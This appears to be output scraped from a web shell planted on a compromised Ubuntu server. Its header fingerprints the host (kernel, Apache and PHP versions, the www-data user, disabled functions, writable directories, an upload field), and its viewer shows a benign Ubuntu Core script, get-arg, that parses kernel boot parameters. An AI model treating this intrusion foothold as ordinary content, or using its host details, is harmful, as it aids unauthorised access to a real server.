KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /snap/core20/2379/usr/libexec/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //snap/core20/2379/usr/libexec/core/get-arg
#!/bin/sh

# Usage:
#   get-arg param-name
#
# get-arg will look for kernel parameter "param-name" or "param_name"
# and return 0 if found, 1 if not found. If the parameter as a value,
# e.g. "param-name=the-value", then the value "the-value" will be
# printed.

# For more information on how to parse kernel parameters, see function
# `next_arg` in
# https://github.com/torvalds/linux/blob/master/lib/cmdline.c

set -eu

if [ "$#" -ne 1 ]; then
    echo "Expected kernel parameter name as argument" 1>&2
    exit 1
fi

looking_for="$(echo "${1}" | sed 's/_/-/g')"

if [ "${SYSTEMD_PROC_CMDLINE:+set}" = set ]; then
    # Using same debug variable as systemd for testing
   cmdline="${SYSTEMD_PROC_CMDLINE}"
else
   cmdline=$(cat /proc/cmdline)
fi

set --

# We cannot use ANSI-C quoting (e.g. $'\n') in busybox-initramfs
whitespaces="$(printf '\t\n\v\f\r \240')"
in_quote=no
param=
current="${cmdline}"
while [ -n "${current}" ]; do
    # We cannot use subtring parameter expansion
    # (e.g. ${cmdline:$i:1}) in busybox-initramfs
    suffix="${current#?}"
    char="${current%${suffix}}"
    current="${suffix}"
    case "${char}" in
        ["${whitespaces}"])
            if [ "${in_quote}" = no ]; then
                if [ -n "${param}" ]; then
                    set -- "$@" "${param}"
                fi
                param=
            else
                param="${param}${char}"
            fi
            ;;
        '"')
            if [ "${in_quote}" = yes ]; then
                in_quote=no
            else
                in_quote=yes
            fi
            ;;
        *)
            param="${param}${char}"
            ;;
    esac
done

if [ -n "${param}" ]; then
    set -- "$@" "${param}"
fi

for param in "$@"; do
    name="$(echo "${param%%=*}" | sed 's/_/-/g')"
    if [ "${name}" = "${looking_for}" ]; then
        case "${param}" in
            *=*)
                echo "${param#*=}"
                ;;
        esac
        exit 0
    fi
done

exit 1

KUNTUL | JINGKONTOT |